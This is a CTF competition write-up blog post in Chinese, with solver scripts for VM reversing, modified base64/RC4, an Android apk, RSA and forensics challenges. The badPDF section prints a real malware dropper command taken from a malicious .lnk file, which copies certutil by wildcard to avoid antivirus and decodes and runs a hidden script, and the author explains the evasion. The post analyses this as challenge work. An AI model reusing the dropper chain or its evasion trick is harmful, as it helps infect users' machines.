昨天(其实是前天)打完的选拔赛,超级无敌难得过来及时更新(被好多师傅催来着哈哈哈,ddl第一生产力)。只能说这次比赛太幸运了,能碰到这么多逆向题,相对来说没什么固件题(固件好菜,RW嗑了八个多小时没嗑出来TAT),那肯定开冲√ 感谢师傅们手下留情╰(*°▽°*)╯【p.s. 终于把博客园这边同步完了,一般最新的还是在自己的hexo博客上更新的x】
昨天打完的选拔赛,超级无敌难得过来及时更新(被好多师傅催来着哈哈哈,ddl第一生产力。
只能说这次比赛太幸运了,能碰到这么多逆向题,甚至还有两道流落在Misc和Crypto的apk ,相对来说没什么固件题(固件好菜,RW嗑了八个多小时没嗑出来TAT),那肯定开冲√
感谢师傅们手下留情╰(*°▽°*)╯
Reverse
babyvm
vm签到题,这个题做完以后看到是一血人都傻了,看到easyvm已经三血开外了人就更傻了,明明应该baby比easy简单的吧
一些简单粗暴的花指令
花指令有点多,直接idapython走起
去完花以后可以看到主函数直接跳到vm
而查vm的交叉引用可以发现有四个地方都用到了vm函数,说明opcode实际上分成了四段(四个起点)
逐个逆出32个case的作用,dump出opcode(opcode以qword为单位,偏移这边都是+8/+16这样),写反汇编器
(反汇编器模板在:myReverseExps/VMinterpreter.py at main · c10udlnk/myReverseExps ,不过很久没改过了,每次都是做题的时候拉下来现改,有空再把新版放上去吧hhhh)
ins_set={ 0 : [3 , 2 , "mov arr[r{0}], 0x{1:0>4X}" ],
1 : [3 , 2 , "mov r{0}, 0x{1:0>4X}" ],
2 : [3 , 2 , "mov r{0}, r{1}" ],
3 : [3 , 2 , "mov r{0}, arr[r{1}]" ],
4 : [3 , 2 , "mov arr[r{0}], r{1}" ],
5 : [3 , 1 , "push r{0}" ],
6 : [3 , 1 , "pop r{0}" ],
7 : [3 , 2 , "add r{0}, 0x{1:0>4X}" ],
8 : [3 , 2 , "add r{0}, r{1}" ],
9 : [3 , 2 , "sub r{0}, 0x{1:0>4X}" ],
10 : [3 , 2 , "sub r{0}, r{1}" ],
11 : [3 , 2 , "mul r{0}, 0x{1:0>4X}" ],
12 : [3 , 2 , "mul r{0}, r{1}" ],
13 : [3 , 2 , "shl r{0}, 0x{1:0>4X}" ],
14 : [3 , 2 , "shl r{0}, r{1}" ],
15 : [3 , 2 , "shr r{0}, 0x{1:0>4X}" ],
16 : [3 , 2 , "shr r{0}, r{1}" ],
17 : [3 , 2 , "xor r{0}, 0x{1:0>4X}" ],
18 : [3 , 2 , "xor r{0}, r{1}" ],
19 : [3 , 2 , "or r{0}, 0x{1:0>4X}" ],
20 : [3 , 2 , "or r{0}, r{1}" ],
21 : [3 , 2 , "and r{0}, 0x{1:0>4X}" ],
22 : [3 , 2 , "and r{0}, r{1}" ],
23 : [3 , 1 , "mov r{0}, getchar()" ],
24 : [3 , 1 , "putchar(r{0})" ],
25 : [3 , 0 , "exit" ],
26 : [3 , 2 , "cmp r{0}, 0x{1:0>4X}" ],
27 : [3 , 2 , "cmp r{0}, r{1}" ],
28 : [3 , 1 , "jz {0:0>3}" ],
29 : [3 , 1 , "jmp {0:0>3}" ],
30 : [3 , 1 , "jl {0:0>3}" ],
31 : [3 , 1 , "jnz {0:0>3}" ]}
opcode = [18 , 0 , 0 , 18 , 1 , 1 , 18 , 2 , 2 , 18 , 3 , 3 , 18 , 6 , 6 , 18 , 7 , 7 , 1 , 0 , 105 , 1 , 1 , 110 , 1 , 2 , 112 , 1 , 3 , 117 , 1 , 6 , 116 , 1 , 7 , 32 , 24 , 0 , 18446744073709551615 , 24 , 1 , 18446744073709551615 , 24 , 2 , 18446744073709551615 , 24 , 3 , 18446744073709551615 , 24 , 6 , 18446744073709551615 , 24 , 7 , 18446744073709551615 , 1 , 0 , 102 , 1 , 1 , 108 , 1 , 2 , 97 , 1 , 3 , 103 , 1 , 6 , 58 , 1 , 7 , 32 , 24 , 0 , 18446744073709551615 , 24 , 1 , 18446744073709551615 , 24 , 2 , 18446744073709551615 , 24 , 3 , 18446744073709551615 , 24 , 6 , 18446744073709551615 , 24 , 7 , 18446744073709551615 , 18 , 1 , 1 , 23 , 0 , 18446744073709551615 , 5 , 0 , 18446744073709551615 , 7 , 1 , 1 , 26 , 1 , 38 , 30 , 31 , 18446744073709551615 , 25 , 18446744073709551615 , 18446744073709551615 , 18 , 2 , 2 , 0 , 2 , 255 , 7 , 2 , 1 , 0 , 2 , 547 , 7 , 2 , 1 , 0 , 2 , 571 , 7 , 2 , 1 , 0 , 2 , 567 , 7 , 2 , 1 , 0 , 2 , 567 , 7 , 2 , 1 , 0 , 2 , 587 , 7 , 2 , 1 , 0 , 2 , 555 , 7 , 2 , 1 , 0 , 2 , 251 , 7 , 2 , 1 , 0 , 2 , 555 , 7 , 2 , 1 , 0 , 2 , 547 , 7 , 2 , 1 , 0 , 2 , 591 , 7 , 2 , 1 , 0 , 2 , 239 , 7 , 2 , 1 , 0 , 2 , 567 , 7 , 2 , 1 , 0 , 2 , 239 , 7 , 2 , 1 , 0 , 2 , 591 , 7 , 2 , 1 , 0 , 2 , 591 , 7 , 2 , 1 , 0 , 2 , 547 , 7 , 2 , 1 , 0 , 2 , 547 , 7 , 2 , 1 , 0 , 2 , 571 , 7 , 2 , 1 , 0 , 2 , 567 , 7 , 2 , 1 , 0 , 2 , 255 , 7 , 2 , 1 , 0 , 2 , 563 , 7 , 2 , 1 , 0 , 2 , 563 , 7 , 2 , 1 , 0 , 2 , 563 , 7 , 2 , 1 , 0 , 2 , 567 , 7 , 2 , 1 , 0 , 2 , 587 , 7 , 2 , 1 , 0 , 2 , 563 , 7 , 2 , 1 , 0 , 2 , 591 , 7 , 2 , 1 , 0 , 2 , 555 , 7 , 2 , 1 , 0 , 2 , 555 , 7 , 2 , 1 , 0 , 2 , 587 , 7 , 2 , 1 , 0 , 2 , 239 , 7 , 2 , 1 , 25 , 18446744073709551615 , 18446744073709551615 , 18 , 2 , 2 , 3 , 0 , 2 , 9 , 0 , 99 , 4 , 2 , 0 , 7 , 2 , 1 , 26 , 2 , 32 , 30 , 1 , 18446744073709551615 , 25 , 18446744073709551615 , 18446744073709551615 , 6 , 0 , 18446744073709551615 , 26 , 0 , 125 , 28 , 18 , 18446744073709551615 , 1 , 0 , 119 , 1 , 1 , 114 , 1 , 2 , 111 , 1 , 3 , 110 , 1 , 6 , 103 , 1 , 7 , 33 , 24 , 0 , 18446744073709551615 , 24 , 1 , 18446744073709551615 , 24 , 2 , 18446744073709551615 , 24 , 3 , 18446744073709551615 , 24 , 6 , 18446744073709551615 , 24 , 7 , 18446744073709551615 , 1 , 0 , 10 , 24 , 0 , 18446744073709551615 , 25 , 18446744073709551615 , 18446744073709551615 , 1 , 8 , 256 , 26 , 8 , 225 , 30 , 25 , 18446744073709551615 , 6 , 0 , 18446744073709551615 , 4 , 8 , 0 , 9 , 8 , 1 , 29 , 19 , 18446744073709551615 , 6 , 0 , 18446744073709551615 , 26 , 0 , 123 , 31 , 3 , 18446744073709551615 , 6 , 0 , 18446744073709551615 , 26 , 0 , 103 , 31 , 3 , 18446744073709551615 , 6 , 0 , 18446744073709551615 , 26 , 0 , 97 , 31 , 3 , 18446744073709551615 , 6 , 0 , 18446744073709551615 , 26 , 0 , 108 , 31 , 3 , 18446744073709551615 , 6 , 0 , 18446744073709551615 , 26 , 0 , 102 , 31 , 3 , 18446744073709551615 , 18 , 9 , 9 , 1 , 10 , 225 , 3 , 7 , 9 , 3 , 6 , 10 , 17 , 6 , 66 , 13 , 6 , 2 , 27 , 6 , 7 , 31 , 3 , 18446744073709551615 , 7 , 9 , 1 , 7 , 10 , 1 , 26 , 9 , 32 , 30 , 42 , 18446744073709551615 , 1 , 0 , 99 , 1 , 1 , 111 , 1 , 2 , 114 , 1 , 3 , 114 , 1 , 6 , 101 , 1 , 7 , 99 , 24 , 0 , 18446744073709551615 , 24 , 1 , 18446744073709551615 , 24 , 2 , 18446744073709551615 , 24 , 3 , 18446744073709551615 , 24 , 6 , 18446744073709551615 , 24 , 7 , 18446744073709551615 , 1 , 0 , 116 , 1 , 1 , 108 , 1 , 2 , 121 , 1 , 3 , 33 , 1 , 6 , 10 , 24 , 0 , 18446744073709551615 , 24 , 1 , 18446744073709551615 , 24 , 2 , 18446744073709551615 , 24 , 3 , 18446744073709551615 , 24 , 6 , 18446744073709551615 , 25 , 18446744073709551615 , 18446744073709551615 ]
pc = 0
res = ["Addr Code\n" ]
addrfmt = "{0:0>3} "
base = 0x41E000
func_start = [0x41E000 , 0x41E378 , 0x41E9A8 , 0x41EA68 ]
for i in range (len (func_start)):
func_start[i] = (func_start[i]-base) // 8
lstFunc = 0
while pc < len (opcode):
i = pc
pc += ins_set[opcode[i]][0 ]
res.append(addrfmt.format (i - lstFunc))
if opcode[i] not in ins_set.keys():
print ("[-] UknOpcode 0x{0:X} in addr 0x{1:0>8X}.\n" .format (opcode[i],i))
break
elif 28 <= opcode[i] <= 31 :
res.append(ins_set[opcode[i]][2 ].format (opcode[i+1 ]*3 )+'\n' )
else :
args=[]
for j in range (ins_set[opcode[i]][1 ]):
args.append(opcode[i+1 +j])
res.append(ins_set[opcode[i]][2 ].format (*args)+'\n' )
if pc in func_start:
res.append('\n' )
lstFunc = pc
with open ('res.txt' , 'w' ) as f:
f.writelines(res)
拿到res.txt,注释里写了一些各段汇编的作用,就不再另开段落说明了(懒
Addr Code
000 xor r0 , r0
003 xor r1 , r1
006 xor r2 , r2
009 xor r3 , r3
012 xor r6 , r6
015 xor r7 , r7
018 mov r0 , 0x0069
021 mov r1 , 0x006E
024 mov r2 , 0x0070
027 mov r3 , 0x0075
030 mov r6 , 0x0074
033 mov r7 , 0x0020
036 putchar(r0 )
039 putchar(r1 )
042 putchar(r2 )
045 putchar(r3 )
048 putchar(r6 )
051 putchar(r7 )
054 mov r0 , 0x0066
057 mov r1 , 0x006C
060 mov r2 , 0x0061
063 mov r3 , 0x0067
066 mov r6 , 0x003A
069 mov r7 , 0x0020
072 putchar(r0 )
075 putchar(r1 )
078 putchar(r2 )
081 putchar(r3 )
084 putchar(r6 )
087 putchar(r7 )
090 xor r1 , r1
093 mov r0 , getchar()
096 push r0
099 add r1 , 0x0001
102 cmp r1 , 0x0026
105 jl 093
108 exit
000 xor r2 , r2
003 mov arr[r2 ], 0x00FF
006 add r2 , 0x0001
009 mov arr[r2 ], 0x0223
012 add r2 , 0x0001
015 mov arr[r2 ], 0x023B
018 add r2 , 0x0001
021 mov arr[r2 ], 0x0237
024 add r2 , 0x0001
027 mov arr[r2 ], 0x0237
030 add r2 , 0x0001
033 mov arr[r2 ], 0x024B
036 add r2 , 0x0001
039 mov arr[r2 ], 0x022B
042 add r2 , 0x0001
045 mov arr[r2 ], 0x00FB
048 add r2 , 0x0001
051 mov arr[r2 ], 0x022B
054 add r2 , 0x0001
057 mov arr[r2 ], 0x0223
060 add r2 , 0x0001
063 mov arr[r2 ], 0x024F
066 add r2 , 0x0001
069 mov arr[r2 ], 0x00EF
072 add r2 , 0x0001
075 mov arr[r2 ], 0x0237
078 add r2 , 0x0001
081 mov arr[r2 ], 0x00EF
084 add r2 , 0x0001
087 mov arr[r2 ], 0x024F
090 add r2 , 0x0001
093 mov arr[r2 ], 0x024F
096 add r2 , 0x0001
099 mov arr[r2 ], 0x0223
102 add r2 , 0x0001
105 mov arr[r2 ], 0x0223
108 add r2 , 0x0001
111 mov arr[r2 ], 0x023B
114 add r2 , 0x0001
117 mov arr[r2 ], 0x0237
120 add r2 , 0x0001
123 mov arr[r2 ], 0x00FF
126 add r2 , 0x0001
129 mov arr[r2 ], 0x0233
132 add r2 , 0x0001
135 mov arr[r2 ], 0x0233
138 add r2 , 0x0001
141 mov arr[r2 ], 0x0233
144 add r2 , 0x0001
147 mov arr[r2 ], 0x0237
150 add r2 , 0x0001
153 mov arr[r2 ], 0x024B
156 add r2 , 0x0001
159 mov arr[r2 ], 0x0233
162 add r2 , 0x0001
165 mov arr[r2 ], 0x024F
168 add r2 , 0x0001
171 mov arr[r2 ], 0x022B
174 add r2 , 0x0001
177 mov arr[r2 ], 0x022B
180 add r2 , 0x0001
183 mov arr[r2 ], 0x024B
186 add r2 , 0x0001
189 mov arr[r2 ], 0x00EF
192 add r2 , 0x0001
195 exit
000 xor r2 , r2
003 mov r0 , arr[r2 ]
006 sub r0 , 0x0063
009 mov arr[r2 ], r0
012 add r2 , 0x0001
015 cmp r2 , 0x0020
018 jl 003
021 exit
000 pop r0
003 cmp r0 , 0x007D
006 jz 054
009 mov r0 , 0x0077
012 mov r1 , 0x0072
015 mov r2 , 0x006F
018 mov r3 , 0x006E
021 mov r6 , 0x0067
024 mov r7 , 0x0021
027 putchar(r0 )
030 putchar(r1 )
033 putchar(r2 )
036 putchar(r3 )
039 putchar(r6 )
042 putchar(r7 )
045 mov r0 , 0x000A
048 putchar(r0 )
051 exit
054 mov r8 , 0x0100
057 cmp r8 , 0x00E1
060 jl 075
063 pop r0
066 mov arr[r8 ], r0
069 sub r8 , 0x0001
072 jmp 057
075 pop r0
078 cmp r0 , 0x007B
081 jnz 009
084 pop r0
087 cmp r0 , 0x0067
090 jnz 009
093 pop r0
096 cmp r0 , 0x0061
099 jnz 009
102 pop r0
105 cmp r0 , 0x006C
108 jnz 009
111 pop r0
114 cmp r0 , 0x0066
117 jnz 009
120 xor r9 , r9
123 mov r10 , 0x00E1
126 mov r7 , arr[r9 ]
129 mov r6 , arr[r10 ]
132 xor r6 , 0x0042
135 shl r6 , 0x0002
138 cmp r6 , r7
141 jnz 009
144 add r9 , 0x0001
147 add r10 , 0x0001
150 cmp r9 , 0x0020
153 jl 126
156 mov r0 , 0x0063
159 mov r1 , 0x006F
162 mov r2 , 0x0072
165 mov r3 , 0x0072
168 mov r6 , 0x0065
171 mov r7 , 0x0063
174 putchar(r0 )
177 putchar(r1 )
180 putchar(r2 )
183 putchar(r3 )
186 putchar(r6 )
189 putchar(r7 )
192 mov r0 , 0x0074
195 mov r1 , 0x006C
198 mov r2 , 0x0079
201 mov r3 , 0x0021
204 mov r6 , 0x000A
207 putchar(r0 )
210 putchar(r1 )
213 putchar(r2 )
216 putchar(r3 )
219 putchar(r6 )
222 exit
然后反向写出exp:
flag:e247780d029a7a992247e6667869008a
easyvm
idapython去花,好像还有一两个零散的花指令来着,不太记得了(
主逻辑在反编译没出来的sub_4012F0
可以看到偏移和函数指针,点进offset能看到函数分发
sub_4011E0是base64魔改,魔改为在结果xor了0x0A0B0C0D
然后走偏移的第零个即sub_401000,而sub_401000里面就有switch
vm摁逆,已知数组在unk_40B050,opcode在unk_40B030
写反汇编器
ins_set={0xC0 : [1 , 0 , "inc r1" ],
0xC1 : [1 , 0 , "inc r2" ],
0xC2 : [1 , 0 , "inc r3" ],
0xC3 : [1 , 0 , "mov r1, r2" ],
0xC4 : [1 , 0 , "mov r1, r3" ],
0xC5 : [1 , 0 , "mov r2, r1" ],
0xC6 : [1 , 0 , "mov r2, r3" ],
0xC7 : [1 , 0 , "mov r3, r1" ],
0xC8 : [1 , 0 , "mov r3, r2" ],
0xC9 : [5 , 4 , "mov r1, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}" ],
0xCA : [5 , 4 , "mov r2, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}" ],
0xCB : [5 , 4 , "mov r3, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}" ],
0xCC : [1 , 0 , "mov r1, input[r3]" ],
0xCD : [1 , 0 , "mov r2, input[r3]" ],
0xCE : [1 , 0 , "xor r1, r2" ],
0xCF : [1 , 0 , "xor r2, r1" ],
0xD0 : [1 , 0 , "cmp r1, data[r3]" ],
0xD1 : [1 , 0 , "cmp r2, data[r3]" ],
0xD2 : [5 , 4 , "cmp r3, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}" ],
0xD3 : [2 , 1 , "jz {0:0>4}" ],
0xD4 : [2 , 1 , "jnz {0:0>4}" ],
0xFE : [1 , 0 , "; wrong" ],
0xFF : [1 , 0 , "; right" ]}
opcode = [0xCA , 0x00 , 0x00 , 0x00 , 0x00 , 0xCB , 0x00 , 0x00 , 0x00 , 0x00 , 0xCC , 0xCF , 0xC9 , 0xEE , 0x00 , 0x00 , 0x00 , 0xCF , 0xD1 , 0xD3 , 0x01 , 0xFE , 0xC2 , 0xD2 , 0x39 , 0x00 , 0x00 , 0x00 , 0xD4 , 0xEC , 0xFF ]
pc = 0
res = ["Addr Code\n" ]
addrfmt = "{0:0>4} "
while pc < len (opcode):
i = pc
pc += ins_set[opcode[i]][0 ]
res.append(addrfmt.format (i))
if opcode[i] not in ins_set.keys():
print ("[-] UknOpcode 0x{0:X} in addr 0x{1:0>8X}.\n" .format (opcode[i],i))
break
elif opcode[i] in [0xD3 , 0xD4 ]:
jmpdelta = opcode[i+1 ] if opcode[i+1 ] & 0x80 == 0 else opcode[i+1 ] - 256
res.append(ins_set[opcode[i]][2 ].format (pc + jmpdelta)+'\n' )
else :
args=[]
for j in range (ins_set[opcode[i]][1 ]):
args.append(opcode[i+1 +j])
res.append(ins_set[opcode[i]][2 ].format (*args)+'\n' )
with open ('res.txt' , 'w' ) as f:
f.writelines(res)
拿到res.txt
就是一个很简单的循环处理+比对,需要注意的是r2是累计值(被坑完出来的人5555,血泪经历)
连前面的base64魔改一起写exp:
import base64
data = [0xBE , 0x36 , 0xAC , 0x27 , 0x99 , 0x4F , 0xDE , 0x44 , 0xEE , 0x5F , 0xDA , 0x0B , 0xB5 , 0x17 , 0xB8 , 0x68 , 0xC2 , 0x4E , 0x9C , 0x4A , 0xE1 , 0x43 , 0xF0 , 0x22 , 0x8A , 0x3B , 0x88 , 0x5B , 0xE5 , 0x54 , 0xFF , 0x68 , 0xD5 , 0x67 , 0xD4 , 0x06 , 0xAD , 0x0B , 0xD8 , 0x50 , 0xF9 , 0x58 , 0xE0 , 0x6F , 0xC5 , 0x4A , 0xFD , 0x2F , 0x84 , 0x36 , 0x85 , 0x52 , 0xFB , 0x73 , 0xD7 , 0x0D , 0xE3 ]
data = [0 ] + data
tmp = []
for i in range (1 , len (data)):
tmp.append(data[i-1 ] ^ 0xEE ^ data[i])
flag = ""
arr = [0xA , 0xB , 0xC , 0xD ]
pos = 0
for x in tmp:
flag += chr (tmp[pos] ^ arr[pos%4 ])
pos += 1
print (flag)
print (base64.b64decode(flag.encode()))
flag:2586dc76-98d5-44e2-ad58-d06e6559d82a
babyre
这题ollvm太阴间了啊啊啊!!!
惯例去完花以后,可以看到在主函数由很明显的几个函数段
一个xor运算
一个n复杂运算
又一个xor运算
还有不知道在哪但绝对是最后一步的base64换表(在最后有比较,比较以后直接接success)
实在看不动了直接动态调试+找规律
用的几组测试数据↓
关于xor的识别,这实际上是一种常用的混淆手法(在之前某一道题里磨砺出来的),顺便总结一下 (加上在这道题里学会的|),一般来说找几组数据验证一下就能猜出来的:
(~x|y)-(x|~y) == x - y
(~x&y)-(x&~y) == x - y
(~x&y)+(x&~y) == x ^ y
(~x&y)|(x&~y) == x ^ y
x|y+x|y-x-y == x ^ y
~(~y|~x)|(y^x) == x | y
在这里下断点可以调出第一部分的xor
看汇编可以知道xor的数据在var_18,8次循环,每次循环会改变4个字节,也就是说4字节为一组
往上翻到算出var_18的地方,发现是由每组同一位置共八字节的相互xor得到的,看附近的汇编代码即可
于是有第一个逻辑:
第二个逻辑在下一个xor下断点
通过动态调试可以看到是从3开始每次1字节1字节改变,同样3个一组,且如果输入为全相同(比如aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
)的时候更明显,这种输入不会受到第一个xor的影响(偶数个相同的异或起来为0)
xor的数据在var_31 var_32 var_33,同样可以看汇编往上追溯
反编译可以看到就是那个巨复杂的运算,由真值表化简可以得到第二段逻辑
最后逆向写exp:
flag:fce5e3dfc6db4f808ccaa6fcffecf583
Misc
badPDF
拿到文件就直接打开了orz,发现找不到js,意识到有payload嵌入。查看target
这里显示不全,直接用十六进制阅读器打开可以看到target的一些关键字,定位到这里,把可见字符提取出来
Windows\System32\cmd.exe /c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp&%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp&expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp% &wscript %tmp%\\9sOXN6Ltf0afe7.js
在阅读代码的过程中搜索关键字(*ertu*.exe)找到了原病毒:https://www.freebuf.com/articles/network/241414.html
有一个很有趣的地方就是,这里明明就是复制一次(把certutil.exe复制过去),为什么要用到for呢。就是通过(*ertu*.exe)这个正则匹配绕过安全检测,毕竟那个文件夹里肯定就只有一个exe是符合的,不会有误操作,而且可以避免杀软啥的对certutil.exe操作的检查(猜的)。
我在CTF题学cmd命令,捂脸
第一层是一样的,所以直接跟着他代码做,直到拿到9sOXN6Ltf0afe7.js
可以看到又是一层系统调用,不过这层就没什么东西了,就是让他能成功调用最后删除中间文件的过程。
做到move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl
可以知道,上一步解压出来的cSi1r0uywDNvDu.tmp
实际上也是一个代码,打开可以看到
嵌入了一段VBscript的代码,速成VBscript可以发现这实际上就是个unhex+xor 1的过程
VBscript的关键点在:
"aaa" & "bbb" == "aaabbb",这里&是连接符的意思,相当于python里字符串之间的+
"&h41"实际上就是python里的"\x41",所以这里chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2))是取两位然后unhex(内置函数的作用自行搜索)
VB里面异或就写成xor是我没想到的(逃
所以写exp有:
flag:e27d3de27d3de27d3d7d3de27dde27d3
gogogo
本来以为raw是拼图的线索,一番内存取证发现并没有什么线索。
后来想到如果是python程序切出来的,那肯定出来的时间是有先后的吧(我就不信有人ps手切) ,所以直接日期排序走起。
电脑屏幕太小了显示不了16张一行,稍微微调了一下(每行删掉第一张
可以看到password是3e8f092d4d7b80ce338d6e238efb01。
能用到password的地方一般都是压缩包,于是去filescan一下把文件列表导出来,grep看有没有奇怪的压缩包。
发现有一个csgo.zip.zip(fps玩家狂喜),感觉是奇怪的包,dump下来。
volatility -f 2.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000002182dc0 -D ./ -u
用password解密发现可行,解出来一张打不开的csgo.png
图片,png解包经典foremost
foremost csgo.png
解出来两张图
第一张图不太像二维码(四周补上的话data区缺太多),按着这个思路搜索其他的二维码发现一种特征在中间的Aztec code。
(赛后听凌邪师傅说枪的“阿兹特克”就是指这个Aztec,人傻了.jpg)
于是按照格式用photoshop拼了一下(做工极度粗糙,管他的能扫就行)
找到了(好像是唯一的)在线解码器:https://products.aspose.app/barcode/zh-hans/recognize/aztec#
发现解码成功!
flag:fbab8380-a642-48aa-89b1-8e251f826b12
TimeTravel
看MainActivity没看出什么,发现有调库就先去看库了。
实在没找到能入手的地方,于是去翻字符串,居然看到了
眉头一皱,发现并不简单.jpg
然后直接去找这个字符串的交叉引用,果然看到了一个check函数
ooo000粗略的看起来是一个base64,sub_4AE8有一点混淆,通过调用的分析和一些典型操作(比如初始化s盒、xor,那几个图里已命名的函数)能大概看出来是个魔改rc4,从xor操作看出除了正常的rc4异或以外还异或了当前的序号 。比较的v17是已知数组off_17180。
在genKey里,密钥通过一个倒着的表和一些计算得出
所以可以根据他的方法将密钥算出来,同时在rc4的结果上遍历xor序号就能拿到第一部分的结果
ooo000的魔改在取数的时候取的是x^(x>>3)而不是x
因为这个改动比较大,选择手写base64解码
invshift是以前比赛中用过的对x^(x>>3)算法的逆向函数(一招鲜吃遍天了属于是
算出来以后发现只拿到了后半部分,flag应该是一个uuid,前面少了八个字节
于是跑回去翻java层,发现这个包其实是有个main2activity的(下次搜索一定少搜一点555,绝了
这里一看就是主函数了
比对前五字节是"flag{"和末尾字节的"}",把中间的部分提取出来,检查[0:3]是"e25",剩下五位爆破md5
一个比较坑的地方在hexdigits是改了表的!!!!!!出题人其心可诛!!!!!!(划掉
爆了好久爆不出来才发现,太绝了,手动把哈希值的4和5、E和F进行替换来爆破才爆出来
整道题的exp:
from hashlib import md5
from arc4 import ARC4
import base64
def bf (s ):
s = s.lower()
charset = "0123456789abcdef"
for a in charset:
for b in charset:
for c in charset:
for d in charset:
for e in charset:
tmps = a + b + c + d + e
if md5(tmps.encode()).hexdigest() == s:
return tmps
res = bf("1F862D87DB3293B81C7D2935477A22EA" )
dst = [0x000000A8 , 0x000000CE , 0x000000CE , 0x000000D7 , 0x000000B1 , 0x0000005A , 0x00000020 , 0x0000004B , 0x000000AB , 0x000000A2 , 0x00000023 , 0x000000FA , 0x000000FC , 0x000000F0 , 0x000000DF , 0x000000A5 , 0x000000B4 , 0x00000077 , 0x000000E6 , 0x00000041 , 0x000000C4 , 0x00000065 , 0x00000084 , 0x00000091 , 0x0000008B , 0x0000000A , 0x000000E6 , 0x000000AE , 0x000000BB , 0x000000B5 , 0x00000037 , 0x000000FD , 0x000000C0 , 0x000000CB , 0x00000072 , 0x00000078 , 0x00000013 , 0x00000091 , 0x000000D3 , 0x0000005E ]
keytable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" [::-1 ]
key = []
v1 = -2078209981
for i in range (256 ):
v13 = ((v1 * i) >> 32 ) + i
v14 = (v13 >> 5 ) + (v13 >> 31 )
if i - 62 *v14 < 0 :
print (i, i - 62 *v14)
key.append(keytable[i - 62 * v14])
key = '' .join(key).encode()
dst = bytes (dst)
rc4 = ARC4(key)
RC4ans = rc4.encrypt(dst)
src = []
for i in range (len (RC4ans)):
src.append(RC4ans[i] ^ i)
src = bytes (src).decode()
table = "ZO6Kq79L&CPWvNopzQfghDRSG@di*kAB8rsFewxlm+/u5a^2YtTJUVEn0$HI34y#"
tmp = []
for x in src:
if x == '=' :
break
tmp.append(table.index(x))
def invshift (m, k, c ):
revm = 0
if k < 0 :
k = -k
cnt = 0
while cnt < 64 :
hk = (revm << (64 - k)) & 0xffffffffffffffff
tmp = (hk & c) ^ m
revm = (revm << k) + (tmp >> (64 - k))
m = (m << k) & 0xffffffffffffffff
c = (c << k) & 0xffffffffffffffff
cnt += k
return revm >> (cnt - 64 )
else :
cnt = 0
while cnt < 64 :
lk = revm >> cnt
tmp = ((lk & c) ^ m) & ((1 << k) - 1 )
revm = (tmp << (cnt + k)) + revm
m = m >> k
c = c >> k
cnt += k
return (revm >> k) & 0xffffffffffffffff
ans = ""
for x in tmp:
ans += bin (invshift(x, -3 , 0x3f ))[2 :].rjust(6 , '0' )
flag = ""
for i in range (0 , len (ans), 8 ):
flag += chr (int (ans[i:i+8 ], 2 ))
flag = 'e25' + res + flag
print (flag)
flag:e25be952-e74b-4649-bc0d-236342079a59
Crypto
babyrsa
看题目就是一个rsa加密,给了e、N、c求m。
如果N能分解的话就是一个RSA模板题了,用http://www.factordb.com/试试发现还真可以。
分解拿到p和q,用sage手撸一个解密算法:
然后丢进python里long_to_bytes一下拿到flag:
flag:01d_Curs3_c4Me_Again
Accelerate your time
看到附件给了apk,啪的一下就点进来了,很快啊(x
是个kotlin写的apk,以前没逆什么kotlin的经验,一通瞎做搞出来的orz
直接用jeb看(类似于看平时apk的java层),翻包名看到flag,感觉是个重点包,定位到主行为函数
可以看到很明显的check,是把当前的时间做了一个md5塞进大括号里,再拼上用户名和密码,最后再做一个md5跟已知字符串比较。这里的md5取的是[8:24]↓
hour我直接大胆猜测是4,前面看到有特判
min和sec没看到特判,但是60*60的空间完全可以爆破
username和password的xor联系在LoginDataSource里,并且username == trandmark
安卓包的字符串内容是写在res/strings.xml里面的,只要拿到name就可以拿到trandmark的内容:
用户名是Android,密码可以异或得到,md5的结果同样在strings.xml中,须做id->name、name->content的映射
flag就可以出来了,爆破分秒写exp:(其实感觉这题才应该叫TimeTravel才对= =只能在特定时间拿到flag嘛)
flag:80d0169d22da3c35
PWN
送分题
送分题真的是送分题啊,看到做题的人异常地多,于是去找原题,发现真的找到了wp
https://www.anquanke.com/post/id/258512(justpwnit),直接打wp的exp打通了(
flag:5hen_m3_5hi_kuai_1e_xin9_Qiu
__EOF__
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek “源神”启动!「GitHub 热点速览」
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
· DeepSeek R1 简明指南:架构、训练、本地部署及硬件要求
· 2 本地部署DeepSeek模型构建本地知识库+联网搜索详细步骤